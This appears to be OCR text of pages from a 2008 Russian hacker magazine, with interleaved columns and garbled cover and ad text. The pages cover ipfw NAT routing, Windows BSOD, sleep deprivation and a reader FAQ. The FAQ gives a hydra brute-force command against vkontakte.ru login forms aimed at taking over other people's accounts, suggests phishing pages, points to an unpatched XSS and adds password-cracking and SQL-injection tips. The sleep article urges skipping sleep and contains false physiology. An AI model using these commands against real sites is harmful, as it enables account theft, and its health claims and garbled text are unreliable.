нужный нам шлюз. Главное, чтобы его там хорошо приняли… # ipfw add 1000 divert 8669 ip from • За счет трансляции
Получается, первую задачу можно решить и так: 172.16.0.0/24 to any адресов мы согласо-
# ipfw add 1100 divert 8668 ip from вываем нашу сеть с се-
# ipfw add 1000 divert 8669 ip from 172.16.0.0/16 to any тями (следовательно,
172.16.0.0/16 to 213.100.0.0/16 # ipfw add 1200 divert 8669 ip from any to и маршрутами) про-
# ipfw add 1010 divert 8669 ip from 192.168.1.2 вайдеров, от которых
172.16.0.0/16 to 213.200.0.0/24 # ipfw add 1300 divert 8668 ip from any to получаем интернет.
# ipfw add 1100 divert 8668 ip from 100.100.100.102
172.16.0.0/16 to any # ipfw add 1500 fwd 192.168.1.1 ip from • Решение задачи
# ipfw add 1200 divert 8669 ip from any to 192.168.1.2 to any резервирования и
192.168.1.2 балансировки (мето-
# ipfw add 1300 divert 8668 ip from any to Первое и второе правила отличаются лишь длиной маски дом round-robin) для
100.100.100.102 при определении адреса источника — 1000‑м правилом мы OpenBSD ты найдешь
# ipfw add 1500 fwd 192.168.1.1 ip from отправляем адреса из 172.168.0.x в natd, работающий в статье «Укрощение
192.168.1.2 to any на порту 8669; правило 1100 выполнит то же самое, но те- двухголового змия»,
перь на «стандартный» NAT для оставшихся адресов из сети опубликованной
Понятно, что сначала мы должны выполнить трансляцию па- 172.168.x.x. в ][акере #092.
кетов, указав в первых двух правилах наши «особые» подсети,
а остальное перенаправив на «стандартный» NAT. Перена- Задача 3: обработка по типу трафика
правление необходимо, чтобы наши «натированные» пакеты Поскольку Sendmail у нас работает на этой же машине, и
с адресом 192.168.1.2 ушли в нужный канал, а не на шлюз для него мы отдаем канал с чистым статическим адресом, то
по умолчанию, куда они будут стремиться. NAT на этом участке не понадобится. Таким образом, задача
Теперь все стало гораздо веселее, потому что мы можем сводится к следующим шагам:
варьировать и from, и to, причем не только по подсетям, но и
на основании других признаков (номеров портов, типа прото- 1. Адрес модема — 192.168.1.1 — объявля- links
кола и даже идентификатора пользователя): ем шлюзом по умолчанию ("route add default На сайтах www.
192.168.1.1"). opennet.ru и www.
# ipfw add 10000 divert 8669 all from 172.16/16 2. Обеспечиваем трансляцию трафика, проходяще- dreamcatcher.ru пред-
to any го через ed0. ставлены статьи по
# ipfw add 10010 divert 8669 all from any to any 3. Заставляем Sendmail работать по первому ка- управлению загрузкой
80 налу, не учитывая шлюз по умолчанию. двух каналов, обеспе-
# ipfw add 10020 divert 8669 udp from any to any чению отказоустойчи-
# ipfw add 10030 divert 8669 all from any to any Первые два пункта нам уже знакомы. С входящим SMTP- вости и балансировке
uid 0 трафиком тоже вопросов возникнуть не должно — доста- нагрузки.
xàêåð 05 /113/ 08
141
>> ХАКЕР.PRO
точно прописать на DNS-сервере MX-запись, ссылающуюся на rl0 Не забудь перенаправить выходящие со Squid-а пакеты в нужные интер-
(100.100.100.102). А вот как заставить трафик уходить с этого же фейсы, дабы они не устремились в шлюз по умолчанию, чего нам совсем
адреса, а не через ed0? В настройках Sendmail есть специальная опция: не надо:
$ grep CLIENT /etc/mail/my.domain.ru.mc # ipfw add 1500 fwd 192.168.1.1 ip from 192.168.1.2 to
CLIENT_OPTIONS('Addr=100.100.100.102')dnl any
крИС каСперСкИ
Æèçíü ñåðâåðà
áåç BSOD
скрытые рычаги упраВления ядром WINDOWS SErVEr 2003
Синий экран смерти вспыхивает всякий раз, когда ядро диагностирует Другая неприятная черта NT — нежелание разбираться с источниками
критическую ошибку, которую не в состоянии корректно обработать. критических ошибок. При возникновении исключения в загружаемом
Например: обращение по нулевому указателю, попытка освобождения модуле ядра и Linux, и xBSD просто выгружают модуль, продолжая
уже освобожденной памяти и т.д. Ядро передает управление процедуре нормальную работу системы. Только в действительно критических
KeBugCheckEx, ответственной за «отрисовку» BSOD и сохранение ситуациях система впадает в панику («kernel panic» — аналог BSOD).
дампа памяти (если администратор действительно хочет его сохра- Казалось бы, у разработчиков NT в наличии все необходимые ингре-
нить). Некоторые отладчики уровня ядра (например, SoftICE) пере- диенты: имеется список модулей (то есть драйверов); у драйверов
хватывают вызов KeBugCheckEx, позволяя оператору «разрулить» есть процедура, ответственная за выгрузку драйвера (а даже если ее
ситуацию самостоятельно и вернуть систему к жизни. Это требует нет, система имеет возможность выгружать драйвера в аварийном
достаточно высокой квалификации, так что на этом вопросе подробно режиме); функция KeBugCheckEx в большинстве случаев определяет
останавливаться не будем. имя драйвера-виновника. Ну что же мешает его выгрузить? Ладно, не
При всем моем уважении к NT, следует сказать, что у нее бездарное, будем о грустном, а сразу перейдем к делу.
кривое и недописанное (!) ядро. Еще со времен NT 4.x (если не рань- Основными источниками BSOD являются: дефекты железа, кривые драй-
ше) была предусмотрена возможность вызова call-back’ов (функций вера и rootkit’ы. Некоторые API-функции прикладного уровня за счет
обратного вызова) из KeBugCheckEx, позволяющих, в частности, ошибок проектирования также могут приводить к синим экранам (как
сбросить дисковые буферы, чтобы не погубить дисковый том. Но на и ошибки в самом ядре системе), но их доля в общем зачете невелика.
дворе уже Server 2008, а практическая реализация call-back’ов даже Итак, по большому счету остаются только железо и драйверы/rootkit’ы.
не обещается (хотя в NTFS драйвере все готовое для этого есть, стран- Что касается железа, то лучшим средством борьбы будет приобре-
но, не правда ли?!). тение качественных комплектующих, установка дополнительных
xàêåð 05 /113/ 08
145
>> ХАКЕР.pro
Крис Касперски
Депривация:
над пропастью
сновидений
Филигранная техника трансформации сна
Меры
предосторожности
Мелатонин
Депривация сна (особенно продолжительная) предъявляет жесткие
требования к безопасности. В это время категорически запрещается
садиться за руль и пользоваться станками и механизмами, способны-
ми нанести увечье. Не рекомендуется выходить из дома (особенно
на проезжую часть), а также заниматься деятельностью, требующей
повышенного внимания.
Перед началом экспериментов следует выспаться и выкроить дос-
таточный промежуток свободного времени, в течение которого нет warning
никаких неотложных дел. Будь осторожен, никто
Депривация — это не волшебная палочка. Это ретивый необъезжен- не знает, как твой
ный конь, которым еще предстоит научиться управлять! организм отреагирует
на частичный или
полный отказ от сна.
xàêåð 05 /113/ 08
149
>> units
Молекула growth-гормона
ции и поднимается настроение). Однако, при повышенной концентрации Во время быстрого сна происходит восстановление пластичности нейронов
соматропин вызывает депрессию. Средством, подавляющим его избыточную и обогащение их кислородом; биосинтез белков и РНК-нейронов — сон
выработку, как раз и является депривация сна. способствует переработке и хранению информации. Медленный сон
обеспечивает закрепление изученного материала, а быстрый — реализует
подсознательные модели ожидаемых событий (периодический закон и
формула бензола были открыты именно во сне).
Смена фаз Также сон восстанавливает иммунитет. Поэтому при депривации сна лучше
не брезговать медицинскими препаратами типа «иммунал» (благо, отпуска-
ется без рецептов). Депривация воздействует на память, и, по утверждению
Известно, что люди делятся на «жаворонков» и «сов», причем, про- многих источников, далеко не положительным образом. Основной удар де-
граммистам по роду своей деятельности часто приходится менять привация наносит по кратковременной памяти (действие которой наглядно
дневную фазу работы на ночную. Существует понятие «мягкой» и продемонстрировано в фильме «Memento»).
«жесткой» смены фаз. При жесткой смене человек, находящийся, Кратковременная память хранит информацию считанные секунды, но она
допустим, в ночной фазе, не спит всю ночь и весь последующий день, отвечает за обработку данных, познавательные функции, принятие реше-
выдвигаясь на топчан только с наступлением темноты и просыпаясь ний, логику и так называемую «эпизодическую память», отвечающую за
уже в дневной фазе, в результате чего продолжительность бодрство- запоминание эмоций и мелких несущественных деталей. Логическое мыш-
вания составляет ~24 часа (классический пример депривации). ление и усвояемость материала при депривации сна неизбежно снижают-
При мягкой смене фазы человек после пробуждения засыпает в ся, что существенно затрудняет подготовку к зачетам, экзаменам и прочим
«положенное» время, сокращая режим бодрствования до 6 часов. видам деятельности, требующим активности кратковременной памяти.
Считается, что мягкая смена фазы легче переносится организмом, но С другой стороны, депривация сна активизирует декларативную и мето-
на деле это всегда индивидуально. Для мягкой смены фаз характер- дическую память. Образно говоря, декларативная память — это большой
ны проблемы с засыпанием, обычно решаемые путем применения жесткий диск, на котором записаны все данные, накопленные нами и орга-
снотворного (в этих случаях официальная медицина рекомендует низованные по принципу ассоциативных массивов. Продолжая сравнения,
применять мелаксен, отпускаемый в аптеках без рецептов). Действи- методическая память — это программный код, обрабатывающий данные,
тельно, трудно взять и заснуть спустя всего лишь шесть часов после накопленные в декларативной памяти. При депривации сна человек
пробуждения. «Перестройка» организма на новую фазу в этом случае гораздо «охотнее» вспоминает то, что он когда-то знал, но потом «забыл», и
занимает намного больше времени, на протяжении которого чело- намного увереннее выполняет те операции, которым был заранее обучен.
век ощущает постоянную сонливость. Жесткая смена фаз, напротив, Нетворческая работа (тупое кодирование, решение стандартных задач) как
способствует раскрытию творческого потенциала, но это, опять- раз и относится к такому классу операций, и потому порой создается впе-
таки, зависит от человека. чатление, что депривация сна положительно сказывается на творческой
Существует еще и «плавающий» режим, практикуемый рядом фри- деятельности, но это не так.
лансеров и позволяющий выжать из суток максимум имеющегося Во время депривации способность «добывать» новые знания на основании
времени. Суть в том, что человек намеренно отказывается от привяз- старых (то есть логическое мышление) притупляется (голова «не варит»), но
ки своих внутренних биоритмов к суточному циклу и засыпает не по поскольку львиную долю времени мы решаем задачи, с которыми уже стал-
часам, а тогда, когда действительно хочет и выполнил все заплани- кивались ранее (даже если напрочь забыли об этом), депривация оказы-
рованные дела. При вхождении в плавающий режим продолжитель- вается неплохим подспорьем. Вместо того чтобы штудировать справочник
ность сна представляет собой константу Ts. Согласно закону веро- по высшей математике, вспоминая, как перемножить две матрицы, просто
ятности, в какой-то из дней текущей работы окажется больше, чем забей на сон, и декларативно-методическая память решит проблему!
вчера, и потому продолжительность бодрствования увеличится на Кроме того, депривация активизирует выработку гормона с труднопроизно-
Ta, следовательно, завтра мы проснемся не в момент X, а в (X — Ta). симым названием hypothalamic-pituitary-adrenal axis (сокращенно, HPA).
Поскольку система действует преимущественно в одном направле- Он управляет реакцией на стресс (вот почему при депривации значительно
нии (мало причин, по которым мы бы могли лечь спать раньше, но возрастает раздражительность) и другими функциями, такими как пищева-
вот отставание от графика и задержка сна — явление вполне нор- рение, иммунитет, сексуальное влечение. Он же управляет использованием
мальное), мы получаем следующее: час пробуждения X непрерывно энергии, запасенной нашим телом.
перемещается по циферблату, при этом происходит постоянная
смена фаз «жаворонок»/«сова». Основная проблема — приучить себя За гранью реальности или галлюцинации — даром!
засыпать на рассвете, особенно, когда восходящее солнце бьет прямо Теорий, объясняющих возникновение галлюцинаций (не только при деприва-
в глаза, насквозь простреливая даже плотные портьеры. ции, но и вообще), намного больше, чем одна. Поэтому придется ограничиться
xàêåð 05 /113/ 08
151
>> units
FAQ U N I T E D
Q: Возможно ли в Java-программах перепол- A: Вероятнее всего скрипт посылает GET- и, в большинстве случаев, если с настройками,
нение буфера? запросы, которые режутся сервером. установленными у прова, повезет, — шифрует.
A: Нет. Верификатор байт-кодов (bytecode Используй скрипт для работы с MySQL/ В журнале уже писалось об ВПН, но для начала
verifier) сканирует байт-коды, извлекает MSSQL, посылающий POST-запросы, к советую заглянуть на Википедию и ознако-
информацию о типах объектов в каждой точке примеру, nsTview v3.1.Post (http://nst.void. миться с основами основ — http://ru.wikipedia.
выполнения фрагмента кода. Виртуальная ru/?q=releases&download=16). org/wiki/VPN.
машина Java предохраняет от выхода за границы 2) Настраиваем VPN-подключение на вирту-
выделенной памяти — происходит исключение, Q: Провожу SQL-инъекцию и пытаюсь альной машине VMWare, запускаем на рабочей
при этом внедренный код не будет выполнен. Не получить версию MySQL, но вместо этого системе сетевой снифер (к примеру, Ethereal),
может произойти переполнения или «исчер- появляется ошибка: «Illegal mix of collations подключаем виртуальную машину к VPN-сер-
пания» стека, параметры для инструкций байт- (latin1_swedish_ci,IMPLICIT) and (utf8_ веру, смотрим отснифаные пакеты.
машины имеют нужный тип, а доступ к полям и general_ci,SYSCONST) for operation ‘UNION’» 3) Поддержка двойного IP-адреса. Соеди-
методам объектов не нарушает объявленных в A: Делаем вывод в другой кодировке — вместо нение с VPN происходит через один сетевой
классе правил (public, private, protected). version() пишем convert(version() адрес, на выходе же мы получаем совершенно
using latin1). другой. Это сделано для того, чтобы у провай-
Q: Работаю в линухе, под рукой нет никакого дера не было никаких логов по нашему IP.
другого брутфорсера паролей кроме John Q: Существуют ли утилиты для переноса 4) Однозначного ответа нет, все опять-таки
the Ripper, но нужно взломать raw («сырой») кода, написанного на языке NASL, на другой зависит от датацентра. Но старожилы ВПН-
MD5. Возможно ли? язык программирования и наоборот? бизнеса, как правило, поднимают сервера в
A: Заходим на главную страницу сайта JtR A: Для непосвященных: NASL (Nessus Attack Голландии и Штатах.
(http://openwall.com/john) и смотрим допол- Scripting Language — язык сценариев Nessus)
нения к Джону, среди которых находим и под — это скриптовый язык для написания сцена- Q: Иногда встречается термин «fuzzing,
держку raw MD5. Дело за малым — наструячить риев для сканера Nessus. На данный момент не фазеры». Что это такое?
команды в консоли. Для новичков распишем существует программ для перевода NASL-сце- A: Фаззинг — это методика, основанная на
все команды, начиная с установки JtR. Поехали: нариев на другие языки и перевода, к примеру, проверке того, как приложение справляется
Perl-скриптов, на язык NASL. с обработкой широкого диапазона случайных
mkdir john данных, заведомо составленных так, чтобы
cd john Q: Хочу впервые воспользоваться VPN-сер- довести программу до сбоя. Примером фаззера
wget http://www.openwall.com/john/ висом. Появилось несколько вопросов: может быть библиотека для Linux(and Solaris)
f/john-1.7.2.tar.bz2 1) Когда юзаешь ВПН, никто не узнает, что ты — sharefuzz, предназначенная для тестиро-
tar -xvf john-1.7.2.tar делаешь в Сети, правильно? вания типичных вариантов переполнения
cd john-1.7.2 2) Как для уверенности просмотреть, какой локальных буферов в setuid.
wget ftp://ftp.openwall.com/ трафик (шифрованный/не шифрованный) Из windows-фазеров можно отметить OWASP
pub/projects/john/contrib/john- проходит между моим ПК и ВПН-сервером? JBroFuzz — фаззер уязвимостей, работает с
1.7.2‑all-9.diff.gz 3) Что за технология Double VPN? HTTP, SOAP, XML, LDAP протоколами. Позво-
gzip -d john-1.7.2‑all-9.diff.gz 4) Если я сам захочу поднять ВПН-сервис, ляет выявить XSS, SQL-injection, переполне-
patch -p1 < john-1.7.2‑all-9.diff.gz то на серверах какой страны это наиболее ния буфера, FSE и многие другие уязвимости
cd src безопасно? крайне нестандартными методами.
make A: 1) Если кому-то очень сильно понадобится, На проекте Google Code можно найти еще фаз-
make clean linux-x86‑any то узнают все и обо всем. Объясняю на пальцах. зеры. К примеру, Bunny the Fuzzer (http://code.
Провайдер будет знать, что ты подключен к google.com/p/bunny-the-fuzzer) — фаззер про-
Пускаем утилиту с указанием формата и файла ВПН, так как, естественно, в цепочке соедине- грамм, написанных на C. Работает под Linux,
с хэшами: ний «тыконечный_серверпров» провайдер FreeBSD, OpenBSD, и Cygwin.
стоит раньше VPN. Ты подключаешься к его
./john -format=raw-MD5 /home/ шлюзу, далее к VPN-шлюзу и, наконец, к конеч- Q: В «пособиях» по фрикингу авторы исполь-
corwin/md5_hashes.txt. ному серверу. Также не стоит забывать про то, зуют так называемые Red box, Black box и
что на ВПНе вполне могут вестись логи. Blue box. Для чего они предназначены и что
Q: На поломанном сервере нашел конфиг для И еще, хочется развеять миф, что, якобы, делают?
подключения к базе данных, залил скрипт предоставляемые провайдером VPN’ы не A: Использование этих устройств сейчас
для работы с СУБД, но подключиться никак шифруют трафик и вообще бесполезны. На достаточно сомнительно, ввиду сегодняшних
не получается. самом деле ВПН провайдера шифровать может тарифов, но все-таки, по порядку.
xàêåð 05 /113/ 08
153
>> units
Red box — проигрывает тоны систем автомати- при авторизации и составляем (к примеру, для но» — каждому юзеру можно выдать свой уровень
ческого контроля оплаты в микрофон таксофо- вконтакте.ру) готовый запрос для брута (запус- доступа к принтерам, вертушкам, флопикам и
на, тем самым обманывая систему и делая вид, каем через командную строку/оболочку): любому другому железу на компах в сети (и в том
что мы кинули монеты в таксофон. Вуаля, мы числе — к флешкам). Помимо этого присутствует
можем позвонить бесплатно :). hydra -l useremail%40domainzone замечательная опция, которая придется по вкусу
Black box является резистором, который поме- -P passlist.txt vkontakte. всем любителям жесткого мониторинга — софт
щают в телефонную розетку нашей телефонной ru http-post-form "/login.php: умеет сохранять любую инфу, что была скачана
линии. Он создает иллюзию, что при получении email=^USER^&pass=^PASS^:Target" с девайсов системы или же туда залита. Теперь
вызова мы не взяли трубку и не ответили. Счет никто из работничков не унесет секретные доки
за звонок не придет. passlist.txt — файл с паролями, из офиса. Впрочем, не так уж и сложно отключить
Blue box использует тон в 2600 hz для уп- useremail%40domainzone — email поль- для пользователя системы приводы CD-ROM,
равления телефонными переключателями, зователя, которого надо взломать. Например, Floppy, USB Removable средствами самой винды.
использующими полосу передачи сигнала. admin%40vkontakte.ru :). Достаточно воспользоваться специальной груп-
Таким образом, мы можем обратиться к одной Подобный запрос можно составить для любого повой политикой в Active Directory, установив в
из функций переключателя для установления сервиса, того же одноклассники.ру, сокамер- систему правильный шаблон. Подробности этого
телефонной связи. ники.ру и т.п. приема ты можешь прочитать здесь: www.petri.
Также не стоит забывать про возможность co.il/disable_usb_disks_with_gpo.htm
Q: Как перенести почту с локального компью- создания фейк-страницы с формой авториза-
тере на свой Gmail-аккаунт? ции, которую нужно под каким-либо предлогом Q: Хочу предоставить пользователям своего
A: Если в качестве клиента ты использу- подсунуть юзеру. сайта (небольшая социальная сеть) возмож-
ешь Microsoft Outlook, Outlook Express или P.S. Ищи на диске перловый брутфорсер для ность выкладывать видеоролики с опцией
Thunderbird, то идеально подойдет специаль- «вконтакте». просмотра через сеть. При этом не исполь-
ная утилита Google Email Uploader (https:// зовать API каких-то видеохостингов (вроде
mail.google.com/mail/help/email_uploader. Q: Каким запросом сдампить MySQL-базу, YouTube), а реализовать все исключительно
html). К сожалению, для пользователей The зная имя пользователя и пароль? своими силами. Не писать же видеопроигры-
Bat! пока ничего подобного не придумали. A: bin/mysqldump --user={username} ватель на Flash с нуля?
Может, попробуешь сам? :) --password={pass} --databases A: Правильно мыслишь! Прежде чем что-то
{dbname} > /home/corwin/dump.sql начинать писать, нужно обязательно прове-
Q: Все-таки, реально ли сейчас взломать рить: не сделал ли кто-нибудь это за тебя? В
социальные интернет сети? Итак, {username} меняем на имя пользова- твоем случае идеально подойдет Flowplayer
A: В текущем месяце, эта тема, пожалуй, одна теля, {pass}, соответственно, на его пароль, (www.flowplayer.org) — открытый медиаплеер,
из самых актуальных. Каждый хочет поиметь а в {dbname} указываем имя базы данных, написанный на флеш. С его помощью прямо на
аккаунт своего одногруппника/одноклассника которую требуется сдампить, и в конце — путь своей странице можно воспроизводить самые
и т.п. Не так давно на сайте odnoklassniki.ru для сдампленной БД. разные форматы: FLV, SWF, MP3, MP4, H.264.
была найдена активная xss (на момент написа- FlowPlayer имеет массу конфигурируемых
ния фака уязвимость не была закрыта). Тыкать Q: Как запретить доступ к USB флешкам в настроек, при этом пользователь во время
пальцем, где она находится, не буду, так как ис- винде? просмотра может перейти к любому фрагменту,
кать особо не придется (или смотри информа- A: Есть два варианта: с использованием допол- так же, как это реализовано на YouTube.
цию на форуме античата). На «вконтакте» также нительных средств и без них. Причем, первый
существует возможность внедрения кода. будет работать во всех NT-системах, а второй Q: Система постоянно стала зависать, выдавая
Самым очевидным является метод брутфор- — исключительно под управлением Windows синий экран смерти. Чует мое сердце, все про-
синга. Берем один из самых популярных Server 2003/2008. Дополнительным средством блемы из-за нового модуля памяти, который я
брутфорсеров Hydra (http://freeworld.thc.org/ является утилита DeviceLock (www.devicelock. недавно прикупил. Как бы его проверить?
thc-hydra), смотрим передаваемые параметры com), которая справляется с работой на «отлич- A: Во-первых, тебе нужна Memtest86 — бес-
xàêåð 05 /113/ 08
155
+
Единая цена по всей России. Доставка за счет издателя, в том числе курьером
по Москве в пределах МКАД
разоряю
ие трояны
в
г а н о
х у л и
банковск
р н ы х p.ru
ь ю т е
а л о т к о м п ww w.x ake
ж у р н
#05
м
ВыживаеOD
ь обмен
Как упоря
стр. 70
пос ле BS собы
Преим
ление фрил
Управ
ест
ущансер ва офиса
ами
новые спо
борьбы м
стр. 58
с голубы жны
экраном
и
у ОСатакненаде
Почемхакер
смерт Тенденции
ских
стр. 32
стр. 94
ÇÀ 12 ÌÅÑЯÖÅ 5292 ²« ¡®
¥ ¡ ¬½®
Безопасно
станций и раз
ов, рабочи
сть серверени
гранич е
х
доступа
ЗАЩИТАА
¼ª ³¦
² ³: ²
ðóá
¯§¦
Ще лкаю ³ ¬© D
вкусное в мыле за бабло! DR3 °
КОРПОР
ем
аем ¯¢¦¥
рюки oth
трю печенье ные ела
дел
д ческий ©³½
с Bluetoие небезопас автомати £ ®¦±
рецепты о на кликер ¡£®¯
недетског аке
хак ерс кие
рск сессии е ¢¯
хитрости проект mail. на C# ¿? ²
пох удания
ТИВНОЙТ
ания «ответы@ ³±.38
ь
как урезаттивы использов стр. 118
65
зуба»
дистрибуь «синего ru»
об т
то че
лат
от
стр. 74
и сде 46 #05 |51
ор
ения
стр.
ен от
| ¡
прилож £ §´ ª 2008
ум й
СЕТИ О
ым
ок и
портируем
й д ск
ÎÏÃÏÒÓÉ ±®¡¬
¦:
ны е
ÓÆÒ ÓÜ , ÏÂÈÏÑÜ,
он тич
´²³±
113
¯ª
стр. 36 £ ®¯¦ ²³£ , ÐÏÍÏ
р.
ек ли
ст
±¦ É ÒÏÃÆ ÚÝ
Эл на
тр
ÓÜ
А
УГРОЗ
Ïî
äð
îá
í îñ
òè íà ñòð. 57
032-0
¯¥©® 52
NVIDI °±¯³©£ £²
ÓÏÌÐÜA 9600GT ÐÑ ¦¶
ATI/A
ADSL MD RaÏÓÉÃ
cÁÍÜ + WI-FI deon
3060
ÑÏÔÓÆÑÆ ÐÏÐÔÌàÑÎ
Ü ÅÌà ÜÆ
«©®¯ ÅÏÍÁ
ËÏÍÐÁ˱¦£¯¬¿·©
ÓÎÜÆ À
ÐÑÏÆËÓ
ÏÑÜ
ÇÀ 6 ÌÅÑЯÖÅÂ
ðóá ³±¦³½
¦
°¯«¯
¬¦®©
¦
±ÁÈÄÏÎ
ÏÅÅÉ AM
¨ÃÆÈÅÎÎÄ °ÑD Hybrid Cr
ÜÆ ÇÆÌÏÆËÓ “D ossFire
ÆÈËÉ Inark Side “
tel Over
Drive
DVD ÃË
ÏÍÐÌÆË
ÓÆ
ВЫГОДА ГАРАНТИЯ СЕРВИС
Подписка на журнал «ХАКЕР+DVD» на 6 месяцев стоит 1080 руб. Подарочные журналы при этом не высылаются
По всем вопросам, связанным с подпиской, звоните по бесплатным телефонам 8(495)780-88-29 (для москвичей)
и 8(800)200-3-999 (для жителей других регионов России, абонентов сетей МТС, БиЛайн и Мегафон). Вопросы
о подписке можно также направлять по адресу [email protected] или прояснить на сайте www.GLC.ru
ПОДПИСНОЙ КУПОН
ÏÐÎØÓ ÎÔÎÐÌÈÒÜ ÏÎÄÏÈÑÊÓ ÍÀ ÆÓÐÍÀË «ХАКЕР»
>>WINDOWS >Multimedia Blender 2.45 Openvpn 2.1_rc7 Все операторы на одной SIM-карте стр. 116
>Dailysoft Adobe Photoshop Lightroom 2.0 Beta Enlightenment 0.16.8.12 Postfix 2.5.1
7-Zip 4.57 AIMP 2.50b Gmpc 0.15.5.0 Postgresql 8.3.1 ж у р н а л о т к о М п ь ю т е р н ы х х у л и г а н о в
Comodo Firewall Version 3.0 Artweaver 0.5.1 Ksquirrel 0.8.0 Samba 3.0.28a
DAEMON Tools Lite 4.12.3 Blender for Windows 2.46 RC3 Mpg123 1.4.2 Sendmail 8.14.2 www.xakep.ru
Download Master 5.5.3.1131 DeskScapes 1.02 Openoffice 2.4.0 pro Snort 2.8.1
FarPowerPack 1.15 doPDF 6.0.259 Qlabels 0.2 Sqlite 3.5.8
FileZilla Client 3.0.9.2 Easy CD-DA Extractor 11.5.2 Squid 3.0STABLE4
IrfanView 4.10 Google Earth for Windows 4.3B >Devel Vsftpd 2.0.6
K-Lite Mega Codec Pack 3.9.0 Jing Binutils 2.18
Miranda IM 0.7.5 Keyboard Music 2.4 Boost 1.35.0 >System
mIRC 6.31 Pixelformer 0.8.1 Ccache 2.4 Alsa-driver 1.0.16
Mozilla Firefox 2.0.0.14 ProgDVB 5.14.4 Fucc 0.2 Ati 8.4
Notepad++ 4.9.1 STDU Viewer 1.4 Gcc 4.3.0 BSD Ports Май 05 (113) 2008
Opera 9.27 StyleBuilder 2.0 Beta Nasm 2.02 Dosemu 1.4.0
PuTTY 0.60 WinWatermark 2.5 Python 2.5.2 Iat 0.1.3
QIP 2005 8050 Qt 4.3.4 Linux 2.6.25
Skype 3.8.0 >Net Scons 0.98.1 Nerolinux 3.5.0.1
Total Commander 7.03 A1 Website Download 1.3.2 Seed7 20080406 Nvidia 169.12 На что
Unlocker 1.8.7 Avant Browser 11.6 Peazip 2.0
Winamp Media Player 5.53 Deluge 0.5.9.0 >Games Powertop 1.9
Xakep CD DataSaver 5.2 digsby Allacrost 0.2.1 Tea 17.6.0 способна
Gogrok 1.0 Bzflag 2.0.10 Tracker 0.6.6
>Development Google Talk Labs Edition Lbreakout2 2.6beta-7
Axure RP Pro 5.0 IM-History Client Suite 1.2.4 Lincity-ng 1.91beta >X-Distrib
CodeVeil 1.3 ooVoo 1.5.1.97 Warzone2100 2.1beta2 Ubuntu 8.04
Construct 0.94.3 SecureCRT 6.0.2
твоя
DeployLX 3.1 Serv-U 7.0.0.4 >Net >Visualhack++
FreeBASIC 0.18.5b ShareAlarmPro 2.0.3 Cgmail 0.5 В сердце Agnitum.com
Google App Engine SDK 1.0 B Skype for Windows 3.8.0 Claws-mail 3.4.0 Властелин лоадеров
web-камера
7 чуМовых
Javascript Obfuscator 3.0.5 StrongDC++ 2.12 Dspam 3.8.0 Обход циклов
NetBeans IDE 6.1 Xfire 1.91 Empathy 0.22.1 Парольный беспредел в Oracle
рецептов
PECompact 2.80 beta 1 YoutubeGet 4.4 Fetchmail 6.3.8 Плацдарм для опытов использования
phpDesigner 2008 6.0.2 Hylafax 4.4.4 обыкновенной
Robocode 1.6 >Security Linuxdcpp 1.0.1 >Xakep.PRO web-каМеры
Visual C++ 2008 Feature Pack EchoMirage 1.2 Opera 9.27 Кодовое имя Longhorn стр. 30
Windows Mobile 6 Professional SDK EffeTech HTTP Sniffer v4.1 Webmonx 0.3.2 Прорыв сквозь PPP
не скучай!
дома и
в дороге PlayStation 3 (40Gb) PSP Slim & Lite
Играй! 15990 р. 7280 р.
Ïîêóïêó ìîæíî îïëàòèòü Возможность доставки Специальная цена на прис-
электронными деньгами â äåíü çàêàçà тавки при покупке 3-х игр
Advance Wars: Final Fantasy Crystal Call of Duty 4: Burnout Paradise Dark Messiah of Might Condemned 2 Devil May Cry 4 God of War: Final Fantasy Tactics:
Days of Ruin Chronicles Ring of Fates Modern Warfare and Magic - Elements Chains of The War of The Lions (PAL)
1248 р. 1508 р. 1482 р. 2080 р. 2132 р. 1950 р. 2470 р. Olympus 1560 р.
1248 р.
Blacksite: Area 51 Gran Turismo 5 Hitman Trilogy Metal Gear Solid Medal of Honor: Resident Evil: The Fire Emblem: Viking: Battle for Army of Two
(PAL) Prologue (PAL) Essentials Collection Complete Collections Umbrella Chronicles Radiant Dawn Asgard (PAL)
2132 р. 1300 р. 1560 р. 1820 р. 1560 р. 1820 р. 1924 р. 1950 р. 2210 р.
http://
WWW2
В этой мини-рубрике мы пишем об интересных и полезных web-сервисах,
Удобные вебсервисы
второго поколения
Online-расчет
мощности БП
www.extreme.outervision.
Все логи в одном месте
com/psucalculator.jsp
www.im-history.com Закачивать музыку из интернета, рыская по всевозможным порталам с кучей
Я вынужден
. общаться то по Skype’у, то по Jabber’у, то по обычной аське и мне рекламы, — дело неблагодарное. Забудь про это, и попробуй онлайн-радио
приходится изрядно покопаться, чтобы найти нужный лог разговора. А если по заявкам! Укажи свои музыкальные предпочтения, вбив имена любимых
вдруг он окажется на компьютере, которого нет под рукой, то вообще пиши исполнителей. На основании этих данных будет построен твой индивиду-
пропало. В общем, появление нового сервиса, который централизованно альный плейлист. Сервису Last.fm, наиболее известному подобному ресурсу,
хранит логи из самых разных клиентов для меня оказалось очень кстати. Для удалось достичь соглашения как с крупными лейблами (EMI, Sony BMG,
работы im-history, правда, пришлось установить специальное приложение, Universal, Warner), так и независимыми исполнителями. Поэтому использо-
но зато любые логи, практически из любого мессенжера и любого компьюте- вать его ты можешь не просто бесплатно, а абсолютно бесплатно :).
ра у меня теперь всегда под рукой!